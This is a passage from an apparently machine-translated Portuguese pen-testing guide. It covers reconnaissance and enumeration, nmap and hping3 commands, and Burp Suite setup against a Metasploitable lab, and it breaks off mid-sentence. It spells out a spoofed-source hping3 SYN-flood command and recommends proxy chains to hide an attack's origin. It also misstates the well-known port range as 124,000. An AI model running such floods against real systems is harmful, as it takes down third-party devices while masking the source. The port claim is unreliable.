vulnerabilidades, você pode utilizar ferramentas específicas, mas pode ter
suas próprias preferências, então deixe-me dar uma visão geral.
Algumas das melhores ferramentas que você pode usar para verificar
vulnerabilidades na rede são “Core Impact Professional” ou “Retina”. A
Microsoft também faz um chamado MBSA, também conhecido como
Microsoft Baseline Security Analyzer ou GFI LanGuard.
Seu objetivo é determinar a fragilidade ou lacunas de segurança desses
dispositivos alvo. Em resumo, você já entendeu que é um dispositivo
Microsoft ou um servidor Apache, portanto, seu próximo passo é descobrir
quais vulnerabilidades você pode lançar nele.
Essas ferramentas o ajudarão a ver quais vulnerabilidades funcionariam. Por
este
ponto, você terá muitas informações, e isso vai junto com a documentação,
mas você também deve desenhar a rede.
Isso o ajudará a entender a conexão e o caminho entre os nós da rede, e há
várias ferramentas que você pode usar para desenhar um diagrama de rede
facilmente.
Para isso, uma das melhores ferramentas que você pode usar é chamada de
“SolarWinds” e “Network Topology Manager”. Algumas dessas ferramentas
são gratuitas, enquanto outras são produtos pagos.
A maioria das empresas usa “SolarWinds”, que você pode usar para vários
fins. Com o SolarWinds, você pode desenhar mapas de rede, enviar
comandos para vários dispositivos em tempo real ou, se preferir ou solicitar,
pode programar a data e a hora das implantações de comandos.
Você pode usar SolarWinds para fins de gerenciamento de IP, bem como
para alertar sobre interrupções na rede ou tempo de inatividade da interface e
assim por diante. SolarWinds tem um custo, mas é um ótimo software e as
empresas o utilizam para diversos fins.
Seu objetivo é obter uma representação visual para entender melhor o que
está onde e como estão conectados. Depois de conhecer os alvos, porque os
identificou totalmente e suas vulnerabilidades, e definiu a topologia da rede, a
próxima etapa durante o pen-test é ativar seus proxies.
O proxy é projetado para ocultar servidores para que o cliente ou cliente não
possa determinar de onde vem o ataque. Você pode disparar proxies; interna
e externamente.
Uma das melhores ferramentas que você pode usar para proxies é chamada
de “Proxy Workbench”. O Proxy Workbench possui uma interface GUI que
usa a rede TOR. Outro produto para Mac OS é chamado de “proxy”.
Depois de começar a executar o proxy desejado, você obterá uma lista de
endereços IP e poderá selecionar quantos deve usar. Alguns desses proxies
são serviços gratuitos e, se você pesquisar “proxies gratuitos” no Google,
poderá criar uma cadeia de proxy rapidamente. Qualquer que seja o proxy
que você usar, você também deve documentar isso.
A documentação é a etapa mais importante no teste de caneta porque ajuda a
preservar todos os resultados dos testes que você conduziu. Também vai
ajudá-lo a encontrar vulnerabilidades potenciais na rede, então você pode
recomendar algumas contra-medidas.
Ao mesmo tempo, você também quer mostrar ao seu cliente como você foi
capaz de realizar o que fez. Essa também é a melhor maneira de legitimar o
que você fez e o que um invasor poderia fazer a eles.
Depois de encontrar seus alvos, a próxima etapa é a enumeração. Usando a
enumeração, o invasor pode reunir o máximo de informações possível sobre
o dispositivo de destino.
Alguns relatórios que ele pode obter desses sistemas devem incluir grupos de
identidade, contas de usuário e contas de serviço, porque ninguém olha para
essas coisas.
Você também pode determinar os recursos de rede e seus compartilhamentos
de rede ou outras descobertas que são compartilhadas dessa máquina. Em
muitos casos, você também pode enumerar os aplicativos instalados nesses
dispositivos.
A etapa de enumeração baseia-se nos dados coletados no estágio de
reconhecimento, mas você também deve examinar a enumeração de
dispositivos de rede.
Os dispositivos de rede incluem; roteadores, switches, sistemas de detecção
de intrusão, sistemas de prevenção de intrusão, firewalls, mecanismos de
serviços de identidade, controladores de rede sem fio e assim por diante.
Você, como pen-tester, deve fazer vários tipos diferentes de métodos de
enumeração para garantir que obtenha todas as informações que puder de
cada máquina visível na rede de destino.
O motivo pelo qual você deve fazer isso é determinar as fraquezas e
vulnerabilidades da rede da organização. O objetivo principal é tentar
identificar as lacunas da infraestrutura de rede.
Você pode iniciar as etapas de enumeração encontrando o intervalo de rede
da empresa ou dos destinos, e você pode fazer isso com um comando
“whois” para pesquisar dispositivos, para que possa ver quais intervalos eles
foram atribuídos no lado público.
É aqui que se encontram os servidores mais importantes porque normalmente
é a cara da empresa, que é a prestação de um serviço, onde as pessoas se
autenticam ou obtêm informações sobre a empresa.
Depois de ter esse intervalo de IP, você deseja calcular a máscara de sub-
rede, o que pode ajudá-lo a restringir suas varreduras de ping. Isso também o
ajudaria com a varredura de portas.
Depois de calcular a máscara de sub-rede, a próxima etapa é descobrir os
hosts que estão disponíveis publicamente na Internet. Mais uma vez, a
primeira recomendação é usar um software como o “nmap”.
Você pode ir em frente e usar outro software, mas eles podem ser mais
detectáveis. Por exemplo, “Scanner de IP irritado” é extremamente fácil de
detectar, mas com “nmap” você vai ficar bem, especialmente se estiver
mapeando apenas uma vez por minuto, então não vai parecer uma varredura
de ping.
Depois de descobrir os hosts, você deve ir atrás das portas. Você deseja ver
quais portas estão abertas, quais estão fechadas e quais portas estão
permitindo a passagem apenas de tráfego específico.
Isso fornece um layout melhor da política de segurança nessas máquinas.
Uma das ferramentas mais populares que você pode usar para esse propósito
é: (você adivinhou certo) “nmap”.
Depois de fazer a varredura de porta, você tem alguns outros métodos de
enumeração que pode usar para ter uma imagem melhor. Um deles é
chamado de “enumeração NetBIOS”.
Ao executar uma enumeração de NetBIOS, você o usa para identificar
dispositivos de rede e obter uma lista de computadores que podem estar no
domínio. Você também pode ver uma lista de pastas compartilhadas, mas, em
alguns casos, até mesmo senhas.
Para enumeração de NetBIOS, você também pode usar “WinFingerprint” ou
“SuperScan”. Se você fizer a enumeração NetBIOS, não apenas cada
máquina responderá a esses tipos de enumeração, mas você também deve
tentar construir seu mapa.
Ao implantar diferentes tipos de métodos de enumeração, você pode
preencher os espaços em branco com uma “enumeração SNMP”. SNMP ou
Simple Network Management Protocol é um protocolo que você pode usar
para gerenciar seus dispositivos de rede.
Se o SNMP estiver configurado incorretamente, você pode fazer com que
esses dispositivos de rede se identifiquem para você e forneçam informações
úteis, como contas de usuário, versões de IOS que estão executando, seu
tempo de atividade e endereços IP
são atribuídos a.
Uma das melhores ferramentas que você pode usar para enumeração SNMP
inclui SolarWinds e “conjunto de ferramentas de monitoramento de rede
OpUtils”. Como o SNMP nem sempre é usado em máquinas de rede, como
roteadores e switches, você pode instalar SNMP em servidores para gerenciar
esses dispositivos ou ser notificado quando algo estiver acontecendo.
Se você ainda não desenhou seu mapa, deve fazê-lo com uma enumeração
LDAP. O LDAP faz parte do Active Directory, mas existem outros produtos
que também oferecem suporte ao ambiente LDAP.
O LDAP é um banco de dados onde as informações do usuário são
armazenadas, como nome, sobrenome, informações pessoais, hora e datas em
que eles podem fazer login, de onde podem fazer login, em quais
departamentos trabalham e assim em.
A enumeração LDAP é ótima porque você pode fazer outras coisas com base
nas informações que pode descobrir, incluindo ataques de engenharia social.
A melhor ferramenta que você pode usar aqui é chamada “LDAP
Administrator Softerra”.
Depois de fazer sua enumeração LDAP, outro método que você pode usar é
chamado de “enumeração NTP”. O teste de penetração externa testa a
segurança em torno dos sistemas conectados externamente da Internet.
Os testes controlados são usados para obter acesso aos recursos da Internet e,
em última instância, ao “DMZ”, que é uma rede interna que atravessa e
contorna os firewalls da Internet.
O teste de penetração externa também envolve a localização e exploração de
vulnerabilidades reais conhecidas e desconhecidas da perspectiva de um
invasor externo.
Como você executará a tarefa de teste de caneta externa? Bem, uma vez que
você pediu ao seu cliente informações sobre sua infraestrutura, você precisa
desenhar um diagrama visual que representa a infraestrutura da organização
do cliente.
Os desenhos devem incluir ambos; as partes físicas e as pessoas associadas a
esse item, se possível. Seu mapa de rede também deve incluir intervalos de IP
que o cliente já forneceu a você.
Opcionalmente, o Provedor de Serviços de Internet ou ISP pode ser
adicionado para maior clareza. Usando o Kali Linux, a primeira coisa que
você fará é mapear a rota até o destino.
Em seguida, você executará uma varredura de ping em sua rede de destino.
Ou melhor, você vai pedir à sua rede de destino para procurar qualquer host
ativo e, mais uma vez, você vai usar o “nmap” para executar várias técnicas
de varredura de portas em seu destino.
O “mapeamento de rota” foi originalmente usado como uma ferramenta de
diagnóstico que permite visualizar a rota que um pacote IP segue de um host
para o próximo. Usando o campo “TTL” ou “Time to Live” em um pacote,
cada salto de um ponto para o próximo causa uma mensagem de tempo
excedido “ICMP”. ICMP significa Internet Control Message Protocol.
Os pacotes contam o número de hosts e a rota seguida. Por exemplo, o host
de origem é o seu Kali Linux, e o servidor do Google são conectados por dois
roteadores intermediários, que chamarei de “R1” e “R2”.
Primeiro, o nó Kali enviará uma investigação TTL 1 ao roteador R1. Então,
R1 o atenderá e enviará uma resposta de volta com o tempo excedido.
Em seguida, o host de Kali enviará uma sonda TTL 2 para R1, onde R1 a
pega e diminui em um, e então a envia para R2. R2 irá pegá-lo e enviar de
volta um pacote de tempo excedido.
Finalmente, o nó Kali enviará uma sonda TTL 3 para R1. R1 o pegará,
diminuirá em um e enviará para R2. Depois disso, o R2 o pegará, diminuirá
em um e o enviará ao servidor do Google.
Quando o servidor do Google o pega, ele envia uma resposta de volta com a
porta de destino inacessível. Por quê? Porque na maioria das vezes, os
servidores bloqueiam os pacotes para esse tipo de porta.
No Kali Linux, “traceroute” é um programa de linha de comando que usa
pacotes ICMP para mapear a rota. Para rastrear a rota até o servidor do
Google, digite
“Traceroute www.google.com”
e você verá que demorou entre 12 a 16 saltos para chegar ao servidor do
Google. Se você tentar mais uma vez, mas desta vez executá-lo usando
“nmap”, você obterá um resultado um pouco diferente. Por quê?
Bem, “nmap” permite que você faça exatamente a mesma coisa, mas usa o
protocolo TCP, que é permitido por quase todos os firewalls.
Para lhe dar uma ideia sobre alguns exemplos básicos de varredura de Nmap
frequentemente usados no primeiro estágio de enumeração, verifique os
seguintes comandos:
“Nmap -sP 10.0.0.0/24“
O ping varre a rede, listando as máquinas que respondem ao ping.

“Nmap -p 1-65535 -sV -sS -T4 target“


Varredura completa da porta TCP usando detecção de versão de serviço -
geralmente minha primeira varredura, acho T4 mais preciso do que T5 e
ainda "muito rápido".

“Nmap -v -sS -A -T4 target“


Imprime saída detalhada, executa varredura de sincronização furtiva, tempo
T4, detecção de sistema operacional e versão e fornece traceroute e scripts
contra serviços de destino.

“Nmap -v -sS -A -T5 target“


Imprime saída detalhada, executa varredura de sincronização furtiva, tempo
T5, detecção de sistema operacional e versão e fornece traceroute e scripts
contra serviços de destino.

“Nmap -v -sV -O -sS -T5 target“


Imprime saída detalhada, executa a varredura de sincronização furtiva, tempo
T5 e fornece detecção de sistema operacional e versão.

“Nmap -v -p 1-65535 -sV -O -sS -T4 target“


Imprime saída detalhada, executa varredura de sincronização furtiva, tempo de
T4, detecção de sistema operacional e versão e fornece varredura de faixa
completa de portas.

“Nmap -v -p 1-65535 -sV -O -sS -T5 target“


Imprime saída detalhada, executa varredura de sincronização furtiva,
temporização T5, detecção de sistema operacional e versão e fornece
varredura de gama completa de portas.

Cada vez que você vir três pontos na saída da linha de comando, significa que
os pacotes estão bloqueados. O motivo para isso pode ser um firewall como
Checkpoint ou Cisco ASA Firewalls que estão descartando esses tipos de
pacotes por padrão.
A varredura de portas com “nmap” é o processo de conexão às portas TCP e
UDP para determinar quais serviços e aplicativos estão sendo executados no
destino sistema.
Existem 65.535 portas para TCP e UDP em cada computador. Sabe-se que
algumas portas estão associadas a serviços específicos, por exemplo, a porta
21 TCP é conhecida para o serviço FTP.
As primeiras 124.000 portas também são conhecidas como as “portas mais
conhecidas” e são utilizadas pela maioria dos serviços definidos. Sempre que
você fala sobre varredura de portas, “nmap” deve vir à sua mente.
Nmap é uma ferramenta de mapeamento de porta universal e o mapeamento
se baseia na impressão digital da pilha ativa. Pacotes especialmente
elaborados são enviados ao sistema de destino e a resposta do sistema
operacional a esses pacotes permite um mapa para identificar o sistema
operacional.
Para que o “nmap” funcione, pelo menos uma porta de escuta deve estar
aberta e o sistema operacional deve ser conhecido e ter uma impressão
digital. Poderíamos passar o livro inteiro falando sobre “nmap”, e se você
nunca o usou antes, recomendo que dê uma olhada.
Existem outros recursos na descoberta de host básico também em termos de
solicitações de eco ICMP e respostas de eco, bem como consultas
relacionadas ao DNS e como os nomes de host são resolvidos.
Quando se trata de firewalls, existem tipos “com estado” e “sem estado”.
Bem, também existem firewalls baseados em zona, firewalls baseados em
políticas e muitos mais, mas em resumo; firewalls com monitoração de
estado estão permitindo tráfego de entrada se ele foi iniciado da rede interna
vindo de uma rede externa.
Firewalls sem estado, por outro lado, são firewalls que descartam pacotes de
entrada mesmo se o tráfego for iniciado internamente; a menos que haja uma
regra de “aceitação” de firewall implantada anteriormente que permite o
tráfego de uma origem específica para um destino específico em um número
de porta específico.
O Nmap usa a funcionalidade “traceroute” para identificar seu caminho até o
servidor que você escolheu como destino. Depois de identificar alguns
endereços IP com o nmap, você também pode usar o comando “traceroute”
para determinar quais saltos estão a caminho entre você e os dispositivos
finais identificados.
Assim que o "traceroute" estiver completo, a primeira etapa é executar uma
varredura de ping de rede contra um espaço de endereço IP de destino e
procurar respostas que indiquem que um

alvo particular está vivo. Tradicionalmente, o ping referia-se ao uso de


pacotes “ICMP”.
Ainda assim, o tráfego TCP, UDP, ICMP e ARP também pode ser usado para
identificar hosts ativos. Existem vários scanners que podem ser usados para
executar a partir de locais remotos na Internet para identificar hosts ativos.
Embora a principal ferramenta de varredura seja o “nmap”, o Kali oferece
vários outros aplicativos úteis, como o “hping3”.
“Hping3” é uma das ferramentas mais úteis devido ao controle que dá sobre
os tipos de pacote, pacote de origem e pacote de destino. Por exemplo, se
você quiser fazer ping no servidor do Google, bem, se o Google não permitir
solicitações de ping ICMP, então pode ser possível fazer ping no servidor do
Google usando a solicitação de envio TCP.
Por exemplo, você pode executar ping em google.com na linha de comando,
usando o comando ping com o argumento “-c”, que definirá uma contagem
do envio de três pacotes para o servidor do google.
Se você notar 100% de perda de pacotes, significa que o Google está
bloqueando comandos de ping baseados em pacotes ICMP. Isso não deve
impedi-lo, porque você tem as ferramentas mais poderosas instaladas no Kali,
que é o “hping3”.
O comando que você deve usar é o mesmo, mas em vez de digitar ping digite
apenas “hping3”
seguido pelo endereço de destino.
Você pode criar diversas variações da ferramenta “hping3” que também
descobrirá hosts ativos e todo o mapa usando respostas ICMP e pacotes
enviados por TCP nas portas 80 e 443 ao mesmo tempo.
Você pode usar argumentos junto com o comando, como “–t” que representa
o tempo, seguido por um número entre 1 e 5, onde 1 é o mais lento e 5 é o
mais rápido.
Em seguida, o sinalizador “-sn” é usado para descoberta de host, seguido pela
opção “-v”, que é usada para verbose perfect. Em breve, veremos um
exemplo específico de uso de hping3, mas antes disso, vamos resumir NTP
SMTP e DNS.
NTP significa Network Time Protocol, que é o relógio ou o protocolo de
sincronização de tempo. Infelizmente, o NTP às vezes permite que você
consulte
servidores que estão agindo como a sincronização de tempo para obter mais
informações, como uma lista de pares e algumas outras estatísticas que
geralmente são questionadas por pessoas.
Existe um software chamado “NTP Fingerprint Utility”, que permite
identificar o sistema operacional em que o servidor NTP está sendo
executado. Em seguida, você deve tentar testar a Enumeração SMTP.
SMTP significa Simple Mail Transfer Protocol, que é usado para emails e
servidores de email. Você pode usar um script Perl chamado “enumeração
SMTP” e várias opções com nmap para expor endereços de e-mail legítimos,
que podem incluir nomes de usuário de usuários finais.
O software chamado “Metasploit” também pode ajudá-lo a enumerar os e-
mails do usuário usando o protocolo SMTP. Depois de testar a enumeração
SMTP e a enumeração LDAP, também existe o serviço chamado DNS.
DNS são os seus serviços de nomeação de domínio, um serviço que rastreia
os nomes de domínio até seus endereços IP. Existem muitas ferramentas que
você pode usar para enumeração de DNS, incluindo “BioSuite”, “Nmap” ou
“TX DNS Lookup”. Certifique-se também de lembrar o comando
“nslookup”.
Agora que você tem uma tonelada de informações reunidas, é necessário
atualizar sua documentação. Na verdade, sua documentação deve ser
atualizada em quase cada etapa do processo.
Você também deve usar sua documentação à medida que a constrói, de modo
que possa analisar os resultados e sugerir algumas contra-medidas ao cliente
para melhorar sua segurança. Lembre-se de que o objetivo é garantir que
você proteja o cliente e forneça feedback.
Observe que o restante deste livro se concentrará em exemplos concretos de
como os ataques podem ser implantados.
Capítulo 11 Descoberta de dispositivos com Hping3

Para descobrir dispositivos de rede, sejam eles locais ou remotos, e não


estejam respondendo diretamente à solicitação de ping ICMP, ainda podemos
verificar se eles existem usando as opções TCP e UDP. O Hping3 tem todas
essas opções e muito mais.
Se você não tiver resposta de um dispositivo que tem certeza de que está
disponível, pode ser que o firewall tenha sido configurado para não permitir
solicitações de ping a fim de eliminar ataques de negação de serviço, e isso é
compreensível, mas você ainda deseja verificar esse dispositivo .
Grandes organizações desabilitam as respostas de ping filtrando-as em seus
firewalls. Ainda assim, se ainda quisermos validar se o dispositivo que
estamos tentando fazer ping está ativo, podemos usar muitas outras
ferramentas que já discutimos, como nmap e ZenMAP.
O Hping3 substituiu a versão anterior conhecida como ping2 e agora tem
funções adicionais além do ping ICMP, como:
➢ Solicitação de ping com TCP,
➢ Solicitação de ping com UDP,
➢ Impressão digital,
➢ Ferramenta sniffer e spoofer,
➢ Varredura de porta avançada,
➢ Teste de firewall,
➢ Medição de tempo de atividade remota,
➢ TCP / IP, também conhecido como auditoria de pilha de modelo OSI,
➢ Ferramenta avançada de inundação,
➢ Covert Channel Creations,
➢ Finalidades de transferência de arquivos e muito mais.

Hping3 é uma excelente ferramenta de descoberta de dispositivos e é


integrado ao Kali Linux por padrão. O Hping3 está operando em uma
interface de linha de comando e tem muitas funcionalidades. Para listar essas
funcionalidades, digite:
“Hping3 - h”
e pressione Enter. Aqui, h significa ajuda, portanto, você receberá a saída de
possibilidades usando hping3.
Usando o Hping3, você pode especificar o ping não apenas de um endereço,
mas de centenas de endereços ao mesmo tempo, e pode manipular seu
próprio endereço IP de origem para se parecer com qualquer outro endereço
IP que você deseja.
Além disso, você pode manipular sua interface de origem de onde o ping se
originou. Portanto, é quase impossível rastreá-lo de volta à sua fonte real.
Não vou entrar em todas as possibilidades que você pode fazer com o
Hping3, mas vou mencionar que é muito fácil criar um ataque de negação de
serviço.
Para estabelecer uma conexão entre dois dispositivos de rede, deve haver um
handshake TCP de 3 vias e sua primeira etapa deve ser uma solicitação SYN.
SYN significa Sincronização.

O que podemos iniciar é uma solicitação SYN contínua para um dispositivo


que seria inundado de solicitações e, eventualmente, a CPU do PC da vítima
ou qualquer outro
dispositivo de rede não seria mais capaz de lidar com isso e, eventualmente,
desligaria. Um exemplo do comando seria assim:
“Hping3 –S 10.10.10.20 –a 192.168.1.20 22 –flood”
-S> Isso representa a solicitação SYN.
10.10.10.20> Este IP representa o endereço IP da vítima.
-a> Isso representa que o seguinte endereço que irei especificar será a
fonte.
192.168.1.20> Este é o endereço de origem falso em vez de fornecer o meu
próprio endereço, portanto este endereço também será uma vítima, ou
podemos chamá-lo de segunda vítima, porque a primeira vítima tentará
responder às solicitações SYN para este IP endereço.
22> Isso representa o número da porta “ssh”, mas você pode especificar
qualquer porta que tenha sido identificada como uma porta aberta com
ferramentas como o nmap.
--flood> Isso significa que estou dizendo ao Kali Linux para enviar as
solicitações SYN o mais rápido possível.
Usar este conjunto de comandos não é uma piada. Você pode danificar
seriamente a CPU de qualquer dispositivo se executar esse comando, mesmo
que por alguns segundos. Se você decidir deixá-lo funcionar por alguns
minutos, eu prometo a você que muitos dispositivos provavelmente desistirão
e desligarão.
É também por isso que eu o aviso para certificar-se de que possui uma
autorização por escrito antes de usar este comando no ambiente de produção.
Além disso, mesmo se você quiser praticar em seu ambiente de laboratório
doméstico, não o deixe funcionar por mais de alguns segundos, pois pode
causar alguns danos muito graves aos seus próprios dispositivos de rede.
Capítulo 12 Configuração do Burp Suite Proxy

O proxy Burp é um componente crucial de todo o aplicativo Burp Suite. O


proxy Burp é outra ferramenta que você pode usar e que permite interceptar o
tráfego da web entre o navegador e o aplicativo de destino, que é o próprio
servidor da web.
Para iniciar o Burp Suite, vá ao menu do aplicativo, selecione o item Kali
Linux, seguido pelas 10 principais ferramentas de segurança e, em seguida,
selecione o Burp Suite da lista.
Burp Suite é a versão gratuita do Kali por padrão, mas você também pode
usar a versão profissional e terá acesso a todas as funcionalidades deste
aplicativo.
A versão gratuita é um bom ponto de partida se você quiser aprender como
esse aplicativo funciona. Depois de ter o Burp instalado e funcionando, você
quer ter certeza de que seu proxy está habilitado e escutando na porta 8080.
Vá para a guia Proxy, selecione a guia Opções e, em seguida, você verá que o
ouvinte de proxy está em execução e escutando na porta 8080.
Em seguida, você deve configurar seu navegador para que ele possa usar a
porta em que o Burp Suite está escutando. Você pode usar uma ferramenta
“add on” chamada “proxy foxy” para Firefox.
É uma maneira fácil de ter vários proxies e poder alternar entre eles
rapidamente. Depois de instalar o “proxy foxy”, ao lado da barra de URL do
navegador, há uma raposa com um círculo e uma linha atravessando-a.
Clique na raposa e, em seguida, clique em adicionar um “novo proxy”.
Na guia “detalhes do proxy”, você precisará definir a configuração manual do
proxy para o host local e a porta do proxy para 8080. Em seguida, clique na
guia Geral, dê um nome ao proxy e, por fim, clique no botão Salvar.
O que você basicamente fez foi dizer ao seu navegador para enviar todo o
tráfego para o seu host local para a porta 8080. Esta é a porta na qual você
configurou o aplicativo Burp Suite para escutar.
O Burp sabe que vai consumir tráfego e procurá-lo na Internet. Depois de
salvar este perfil, clique com o botão direito na raposa e selecione sua
configuração de proxy.
Para este cenário, você pode chamá-lo de “proxy Burp”, e se você tiver que
começar a usá-lo, tudo que você precisa fazer é clicar nele. Quando o
navegador estiver usando o proxy, você pode navegar até o aplicativo da
web. Se você voltar ao Burp, verá o proxy e a luz da guia de interceptação
acenderá e ficará laranja.
Se você vir isso acontecer, saberá que configurou tudo perfeitamente. Você
verá que o Burp capturou com sucesso a solicitação get para o site. Por
padrão, o estado inicial é interceptar todo o tráfego.
Interceptar significa interromper qualquer solicitação do navegador para o
aplicativo da web e fornecerá a você a capacidade de ler ou modificar essa
solicitação. Se você tentar navegar em qualquer site com as configurações
padrão, não conseguirá ver nenhuma resposta até desativar o botão de
interceptação.
Ao clicar no botão de interceptar para desativá-lo, você ainda estará
capturando todo o tráfego da web, mas não estará interferindo diretamente
em todas as solicitações. A interceptação está ativada ou desativada. Além
disso, você pode ver todas as solicitações e respostas na guia Histórico.
Capítulo 13 Configuração de alvo para scanner Burp

Um bom ambiente para testes de penetração na web é o site mutillidae.com,


que já está instalado em uma máquina “metasploitable”. O “metasploitable” é
um sistema operacional Linux e é pré-configurado para fins de teste de
penetração.
Para baixar uma cópia do host metasploitable, você precisa navegar até o site
do projeto em sourceforge.net e baixar uma cópia da máquina virtual
clicando no item zip Linux metasploitable.
Para ver o site mutillidae.com em seu navegador, digite o endereço IP de sua
máquina metasploitable, que no seu caso será um endereço privado. Seguido
pelo nome do aplicativo da web, que é mutillidae.
Em seguida, você precisa habilitar o proxy Burp selecionando-o no menu do
proxy foxy, que você instalou no capítulo anterior. Volte para o proxy Burp,
clique na guia Proxy, depois na guia Interceptar e, em seguida, clique no
botão Interceptar para desligá-lo.
Você não precisa interceptar nenhuma solicitação por enquanto. Em seguida,
clique na guia Destino e certifique-se de que a guia do mapa do site esteja
selecionada. Você deve ver a URL mutillidae que acabou de capturar e
encaminhar.
A próxima etapa que você precisa fazer é adicioná-lo ao escopo. Clique com
o botão direito na pasta mutillidae e selecione o item “Adicionar ao escopo”.
O escopo define onde o spidering e o teste automatizados podem ocorrer e
ajuda você a não escanear ativamente os domínios que estão fora do seu
escopo.
Os scanners de vulnerabilidade são ferramentas automatizadas que rastreiam
um aplicativo para identificar as assinaturas de vulnerabilidades conhecidas.
Os scanners de vulnerabilidade são barulhentos e geralmente detectados pela
vítima.
Porém, as varreduras frequentemente são ignoradas como parte de uma
investigação regular em segundo plano na Internet. O scanner Burp é um
scanner de aplicativo da Web dinâmico incluído na adição profissional do
software Burp Suite.
A ferramenta permite que você escaneie automaticamente sites e detecte
falhas de segurança comuns, incluindo injeção de SQL, script entre sites,
injeção de XML, sinalizadores de cookies ausentes e muito mais.
Neste capítulo, vou explicar a você como usar Burp Suite para realizar um
varredura completa completa. Mais uma vez, você usará o site
mutillidae.com para atingir seu objetivo. Verifique o capítulo anterior para
entender os fundamentos de como usar o Burp Suite antes de prosseguir.
Quando estiver pronto, clique no ícone do proxy foxy para habilitar o proxy
Burp Suite e selecione seu proxy na lista. Atualize a página e volte para o
Burp Suite. Selecione a guia Proxy e, em seguida, a guia Interceptar e
desative a interceptação.
Por padrão, o scanner Burp é configurado para realizar varredura passiva em
todos os domínios, enquanto a varredura ativa está desativada. Na guia do
scanner Burp, selecione “Digitalização ao vivo” e certifique-se de que a
opção “usar escopo da suíte” esteja selecionada na seção de digitalização
ativa ao vivo.
Em seguida, selecione a guia Destino e, em seguida, a guia Mapa do site e
expanda seu destino. Em seguida, é hora de começar a indexar o aplicativo,
então mude para a guia Spider para ver o progresso da indexação.
Uma vez que os números parem de subir, significa que o processo de
execução foi concluído. Assim que o processo de indexação for concluído,
volte para a guia Mapa do site, clique com o botão direito no seu destino e
selecione o item “verificar ativamente este ramo”.
O Burp Suite exibirá uma nova janela chamada “assistente de digitalização
ativo”. Esta é uma ferramenta de configuração fácil para scanner Burp. O
primeiro passo nesta configuração, é este processo que permite remover tipos
específicos de recursos, incluindo imagens, JavaScript ou estilos de folhas.
Na maioria dos casos, a configuração padrão é adequada, portanto, tudo o
que você precisa fazer é clicar no botão seguinte. Na próxima tela, a
ferramenta exibirá uma tabela, contendo toda a lista de endpoints e
parâmetros que o scanner Burp irá incluir durante a digitalização.
É importante revisar cuidadosamente a lista e remover endpoints que não são
relevantes ou podem causar mau funcionamento. Depois de finalizar sua
seleção, clique em OK para iniciar a digitalização.
Então, você pode monitorar o progresso verificando a “Guia da fila de
digitalização” no scanner Burp. Esta tabela fornece informações sobre as
solicitações de varredura concluídas e em andamento.
Da mesma forma, ele fornece uma visão geral dos resultados, exibindo o
número de
problemas descobertos para cada endpoint. Nessa tabela, você também pode
remover itens selecionando esses recursos e, em seguida, clicar com o botão
direito e selecionar o item de exclusão.
Além disso, você pode pausar e reiniciar todo o scanner a partir deste menu.
A digitalização de um aplicativo da web inteiro pode levar vários minutos, às
vezes até várias horas.
No entanto, você pode analisar os resultados a qualquer momento,
verificando as descobertas na guia Resultados do scanner Burp. Como na
seção Sitemap, esta visualização agrupa vulnerabilidades por endpoints e
categorias com uma representação conveniente.
Se o seu scanner Burp encontrar qualquer vulnerabilidade de script entre
sites, injeção de SQL ou passagem de caminho de arquivo, você pode clicar
em um item específico no comunicado para a vulnerabilidade de segurança
selecionada, e ele será mostrado abaixo.
Ao mostrar o nome do problema que você encontrou, você também terá
informações exibidas, como uma estimativa do impacto do sistema afetado,
uma estimativa da confiança das ferramentas.
Eles podem ser certos, firmes ou provisórios e também exibirão o endpoint
específico afetado pela vulnerabilidade de segurança.
Um menu contextual da janela Resultados permite remover problemas
selecionando o item “excluir problemas selecionados” ou atribuir um nível
diferente de gravidade, definindo o nível de gravidade e alterando o valor de
confiança.
Depois que todos os recursos forem analisados e a varredura for concluída,
você pode exportar os resultados. Um scanner Burp permite que você crie
relatórios básicos em HTML ou XML que podem ser usados para rastrear as
vulnerabilidades descobertas.
Além disso, outras ferramentas de segurança, como o metasploit, permitirão
que você importe esses resultados para realizar outras tarefas. Na guia
Resultados, selecione todos os itens que deseja exportar.
Em seguida, selecione o nó raiz para exportar todas as descobertas. Clique
com o botão direito do mouse em “Selecionar o menu contextual” e clique no
item “Relatar problemas selecionados”.
Uma nova janela intitulada “Relatório do scanner Burp” irá guiá-lo através
do formato do relatório. Você pode usar a seleção HTML e clicar em
Avançar.
Nessa tela, você pode personalizar o nível de detalhes a serem incluídos no
relatório. Por exemplo, você pode decidir ter o nível máximo de detalhes
selecionando todas as caixas de seleção e, a seguir, clicando no botão
seguinte.
Como às vezes é útil fornecer instantâneos das solicitações e respostas HTTP
afetadas, você também pode decidir incluir extratos relevantes no relatório
final.
Selecione a caixa de seleção apropriada e clique em Avançar. Nesta etapa, o
assistente de relatório do scanner Burp permite que você selecione ou
desmarque as categorias de problemas a serem exportados.
Tome sua decisão e selecione as caixas de seleção apropriadas. Você pode
selecionar todos eles e clicar em Avançar. Finalmente, na última etapa, você
deve especificar o nome do arquivo do relatório.
Clique no botão selecionar arquivo e navegue em seu sistema de arquivos
para encontrar uma pasta onde deseja salvar o relatório, em seguida, digite o
nome do arquivo incluindo a extensão do arquivo e clique no botão Salvar.
Em seguida, dê um título ao seu relatório.
Além disso, você pode personalizar o layout do documento, alterando a
ordem do conteúdo, selecionando a organização do problema ou índice para o
nível de conteúdo. Por fim, clique no botão Avançar.
No final do assistente, uma barra de progresso fornecerá um feedback sobre a
geração do relatório. Depois de concluído, você pode clicar no botão Fechar.
Capítulo 14 Randomizing Sessions Tokens

Os tokens de sessão são normalmente usados para rastrear sessões, pois, por
padrão, o HTTP é um protocolo sem estado. Neste capítulo, veremos como
ter certeza de que os tokens de sessão são randomizados corretamente e não
podem ser adivinhados.
Neste exemplo, você pode testar o site mutillidae.com, um aplicativo da Web
vulnerável, que é instalado por padrão no host metasploitable do Linux.
Você pode baixar a máquina virtual metasploitable em sourceforge.net. A
primeira coisa que você precisa fazer é gerar alguns tokens de sessão. Você
sabe quando os tokens de sessão são gerados e enviados de volta para você
do servidor?
Bem, o servidor envia um token de sessão quando seu navegador não envia
uma sessão balanceada como uma solicitação.
Para corromper o servidor da web pela primeira vez, você deve fazer sua
solicitação limpando o histórico do navegador e certifique-se de que a opção
de cookies esteja selecionada.
Em seguida, use o Burp Suite para interceptar a solicitação. Atualize sua
página e volte para Burp Suite na guia Proxy, onde você deve ver em sua
solicitação que o token de sessão não está presente.
Em seguida, se você clicar no botão encaminhar para enviar a solicitação ao
servidor, receberá uma resposta com um cookie e um novo ID de sessão.
Clique no botão encaminhar para enviar as solicitações restantes e, ao ver
uma tela branca, você saberá que seu trabalho está concluído.
Clique na guia Histórico e selecione um item da lista. Você deve ver seu
primeiro cabeçalho de solicitação na seção inferior, então clique na guia
